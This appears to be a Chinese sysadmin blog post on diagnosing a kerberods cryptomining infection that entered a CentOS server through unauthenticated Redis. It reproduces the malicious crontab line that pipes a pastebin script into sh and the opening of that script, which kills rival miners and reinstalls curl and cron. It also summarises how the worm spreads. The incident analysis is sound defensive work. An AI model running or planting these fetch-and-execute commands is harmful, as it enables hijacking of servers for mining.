Redis未受權訪問及安全組漏洞招致kerberods來挖礦

參考文檔

https://www.freebuf.com/articles/web/94237.html
https://4hou.win/wordpress/?p=7973
https://www.4hou.com/vulnerable/13843.html
https://laucyun.com/17e194c26e4554cab975aae760bad553.html

現象
服務器CPU飆升
故障時間2019.4.10 17:50
top及htop查看信息只能看到1個cpu信息，默認是4個

排錯
排查發現crontab異常

[root@VM_3_114_centos ~]# crontab -l
*/15 * * * * （curl -fsSL https://pastebin.com/raw/xmxHzu5P||wget -q -O- https://pastebin.com/raw/xmxHzu5P)|sh

先簡單解決問題
重命名curl wget yum等工具，而後中止cron服務，刪除crontab任務並禁錮cron任務中root文件，並修改host僞造pastebin.com解析，問題暫時獲得瞭解決

而後分析問題
手工試了下這個腳本的威力，具體的也能夠訪問這個網站查看 https://pastebin.com/raw/xmxHzu5P ，這裏會***啓動文件/usr/sbin/kerberods
後來網上查了下該病毒短期內即形成大量 Linux 主機淪陷，它的傳播方式分爲三種，分別是：

• 從 known_hosts 文件讀取 IP 列表，用於登陸信任該主機的其餘主機，並控制它們執行惡意命令
• 利用 Redis 未受權訪問和弱密碼這兩種常見的配置問題進行控制它們執行惡意命令
• 利用 SSH 弱密碼進行爆破，而後控制它們執行惡意命令

[root@VM_3_114_centos tmp]# wgetold -q -O- https://pastebin.com/raw/xmxHzu5P
export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

mkdir -p /tmp
chmod 1777 /tmp
rm -rf /tmp/go.sh
rm -rf /tmp/go2.sh
ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kpsmouseds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kthrotlds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kintegrityds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "suolbcc"|awk '{print $2}'|xargs kill -9
ps aux|grep -v grep|grep -v khugepageds|awk '{if($3>=80.0) print $2}'|xargs kill -9
apt-get install curl -y||yum install curl -y||apk add curl -y
apt-get install cron -y||yum install crontabs -y||apk add cron -y
systemctl start crond
systemctl start cron
systemctl start crontab
service

查找當時哪些文件被修改了

[root@VM_3_114_centos / ]#find ./ -mtime -1 -type f  -exec ls -lt {} \; | grep "17:50"
-rw-r--r-- 1 root root 9216 Apr 10 17:50 ./etc/pki/nssdb/cert9.dbold
-rw-r--r-- 1 root root 11264 Apr 10 17:50 ./etc/pki/nssdb/key4.dbold
-rw-r--r-- 1 root root 35773 Apr 10 17:50 ./etc/ld.so.cache
-rw-r--r-- 1 root root 35773 Apr 10 17:50 ./etc/crond.d/tomcat
-rw-r--r-- 1 root root 17 Apr 10 17:50 ./run/systemd/system/session-460352.scope
-rw-r--r-- 1 root root 17 Apr 10 17:50 ./run/systemd/system/session-460351.scope
-rw------- 1 root root 28903 Apr 10 17:50 ./var/cache/ldconfig/aux-cache
-rw-r--r-- 1 root root 0 Apr 10 17:50 ./var/cache/yum/x86_64/7/timedhosts.txt
-rw-r--r-- 3 root root 6 Apr 10 17:50 ./var/lib/yum/yumdb/c/63b6311ebd291411c3e991f4266bb07031a53fad-curl-7.29.0-51.el7-x86_64/checksum_type
-rw-r--r-- 2 root root 10 Apr 10 17:50 ./var/lib/yum/yumdb/c/63b6311ebd291411c3e991f4266bb07031a53fad-curl-7.29.0-51.el7-x86_64/from_repo_revision
-rw-r--r-- 1 root root 36 Apr 10 17:50 ./var/lib/yum/yumdb/c/63b6311ebd291411c3e991f4266bb07031a53fad-curl-7.29.0-51.el7-x86_64/var_uuid
-rw-r--r-- 2 root root 10 Apr 10 17:50 ./var/lib/yum/yumdb/c/63b6311ebd291411c3e991f4266bb07031a53fad-curl-7.29.0-51.el7-x86_64/from_repo_timestamp
-rw-r--r-- 1 root root 87 Apr 10 17:50 ./var/lib/yum/yumdb/c/63b6311ebd291411c3e991f4266bb07031a53fad-curl-7.29.0-51.el7-x86_64/origin_url
-rw-r--r-- 1 root root 64 Apr 10 17:50 ./var/lib/yum/yumdb/c/63b6311ebd291411c3e991f4266bb07031a53fad-curl-7.29.0-51.el7-x86_64/checksum_data
-rw-r--r-- 1 root root 5 Apr 10 17:50 ./var/lib/yum/yumdb/c/63b6311ebd291411c3e991f4266bb07031a53fad-curl-7.29.0-51.el7-x86_64/var_infra
-rw-r--r-- 3 root root 15 Apr 10 17:50 ./var/lib/yum/yumdb/c/63b6311ebd291411c3e991f4266bb07031a53fad-curl-7.29.0-51.el7-x86_64/command_line
-rw-r--r-- 3 root root 6 Apr 10 17:50 ./var/lib/yum/yumdb/n/77651d1cdf0adc19dafdecb490426f20e15f8554-nss-pem-1.0.3-5.el7_6.1-x86_64/checksum_type
-rw-r--r-- 1 root root 10 Apr 10 17:50 ./var/lib/yum/yumdb/n/77651d1cdf0adc19dafdecb490426f20e15f8554-nss-pem-1.0.3-5.el7_6.1-x86_64/from_repo_revision
-rw-r--r-- 1 root root 36 Apr 10 17:50 ./var/lib/yum/yumdb/n/77651d1cdf0adc19dafdecb490426f20e15f8554-nss-pem-1.0.3-5.el7_6.1-x86_64/var_uuid
-rw-r--r-- 1 root root 10 Apr 10 17:50 ./var/lib/yum/yumdb/n/77651d1cdf0adc19dafdecb490426f20e15f8554-nss-pem-1.0.3-5.el7_6.1-x86_64/from_repo_timestamp
-rw-r--r-- 1 root root 97 Apr 10 17:50 ./var/lib/yum/yumdb/n/77651d1cdf0adc19dafdecb490426f20e15f8554-nss-pem-1.0.3-5.el7_6.1-x86_64/origin_url
-rw-r--r-- 1 root root 64 Apr 10 17:50 ./var/lib/yum/yumdb/n/77651d1cdf0adc19dafdecb490426f20e15f8554-nss-pem-1.0.3-5.el7_6.1-x86_64/checksum_data
-rw-r--r-- 1 root root 5 Apr 10 17:50 ./var/lib/yum/yumdb/n/77651d1cdf0adc19dafdecb490426f20e15f8554-nss-pem-1.0.3-5.el7_6.1-x86_64/var_infra
-rw-r--r-- 3 root root 15 Apr 10 17:50 ./var/lib/yum/yumdb/n/77651d1cdf0adc19dafdecb490426f20e15f8554-nss-pem-1.0.3-5.el7_6.1-x86_64/command_line
-rw-r--r-- 1 root root 7 Apr 10 17:50 ./var/lib/yum/yumdb/n/77651d1cdf0adc19dafdecb490426f20e15f8554-nss-pem-1.0.3-5.el7_6.1-x86_64/from_repo
-rw-r--r-- 3 root root 6 Apr 10 17:50 ./var/lib/yum/yumdb/l/28abae6a2a790b33d342f09c6eb881cff0b30f19-libcurl-7.29.0-51.el7-x86_64/checksum_type
-rw-r--r-- 2 root root 10 Apr 10 17:50 ./var/lib/yum/yumdb/l/28abae6a2a790b33d342f09c6eb881cff0b30f19-libcurl-7.29.0-51.el7-x86_64/from_repo_revision
-rw-r--r-- 1 root root 36 Apr 10 17:50 ./var/lib/yum/yumdb/l/28abae6a2a790b33d342f09c6eb881cff0b30f19-libcurl-7.29.0-51.el7-x86_64/var_uuid
-rw-r--r-- 2 root root 10 Apr 10 17:50 ./var/lib/yum/yumdb/l/28abae6a2a790b33d342f09c6eb881cff0b30f19-libcurl-7.29.0-51.el7-x86_64/from_repo_timestamp
-rw-r--r-- 1 root root 90 Apr 10 17:50 ./var/lib/yum/yumdb/l/28abae6a2a790b33d342f09c6eb881cff0b30f19-libcurl-7.29.0-51.el7-x86_64/origin_url
-rw-r--r-- 1 root root 64 Apr 10 17:50 ./var/lib/yum/yumdb/l/28abae6a2a790b33d342f09c6eb881cff0b30f19-libcurl-7.29.0-51.el7-x86_64/checksum_data
-rw-r--r-- 1 root root 5 Apr 10 17:50 ./var/lib/yum/yumdb/l/28abae6a2a790b33d342f09c6eb881cff0b30f19-libcurl-7.29.0-51.el7-x86_64/var_infra
-rw-r--r-- 3 root root 15 Apr 10 17:50 ./var/lib/yum/yumdb/l/28abae6a2a790b33d342f09c6eb881cff0b30f19-libcurl-7.29.0-51.el7-x86_64/command_line
-rw-------. 1 root root 896000 Apr 10 17:50 ./var/lib/yum/history/history-2016-04-21.sqlite
-rw-r--r-- 1 root root 3597 Apr 10 17:50 ./var/lib/yum/history/2016-04-21/21/config-main
-rw-r--r-- 1 root root 8391 Apr 10 17:50 ./var/lib/yum/history/2016-04-21/21/config-repos
-rw-r--r-- 1 root root 1722 Apr 10 17:50 ./var/lib/yum/history/2016-04-21/21/saved_tx
-rw-------. 1 root root 33536 Apr 10 17:50 ./var/lib/yum/history/history-2016-04-21.sqlite-journal
-rw-r--r-- 1 root root 45 Apr 10 17:50 ./var/lib/yum/rpmdb-indexes/version
-rw-r--r-- 1 root root 2692 Apr 10 17:50 ./var/lib/yum/rpmdb-indexes/conflicts
-rw-r--r-- 1 root root 3105 Apr 10 17:50 ./var/lib/yum/rpmdb-indexes/obsoletes
-rw-r--r-- 1 root root 60927 Apr 10 17:50 ./var/lib/yum/rpmdb-indexes/pkgtups-checksums
-rw-r--r-- 1 root root 23303 Apr 10 17:50 ./var/lib/yum/rpmdb-indexes/file-requires
-rw-r--r--. 1 root root 12288 Apr 10 17:50 ./var/lib/rpm/Installtid
-rw-r--r--. 1 root root 2273280 Apr 10 17:50 ./var/lib/rpm/Dirnames
-rw-r--r--. 1 root root 40960 Apr 10 17:50 ./var/lib/rpm/Sigmd5
-rw-r--r--. 1 root root 65536 Apr 10 17:50 ./var/lib/rpm/Sha1header
-rw-r--r--. 1 root root 36864 Apr 10 17:50 ./var/lib/rpm/Name
-rw-r--r--. 1 root root 73367552 Apr 10 17:50 ./var/lib/rpm/Packages
-rw-r--r--. 1 root root 8192 Apr 10 17:50 ./var/lib/rpm/Conflictname
-rw-r--r--. 1 root root 20480 Apr 10 17:50 ./var/lib/rpm/Group
-rw-r--r--. 1 root root 188416 Apr 10 17:50 ./var/lib/rpm/Requirename
-rw-r--r--. 1 root root 1617920 Apr 10 17:50 ./var/lib/rpm/Providename
-rw-r--r--. 1 root root 3084288 Apr 10 17:50 ./var/lib/rpm/Basenames
-rw------- 1 root root 161 Apr 10 17:50 ./var/log/yum.log

發現問題文件
發現一個比較可疑的文件，文件當時沒用刪除是二進程形式，經過xxd能查看，大概以下內容，比較奇怪的是redis格式的，並且還有redis版本，後來谷歌發現redis無密碼確實有被利用的風險

[root@VM_3_114_centos / ]#cat /etc/crond.d/tomcat
REDIS 0008%09 redis-ver4.0.6 redis-bits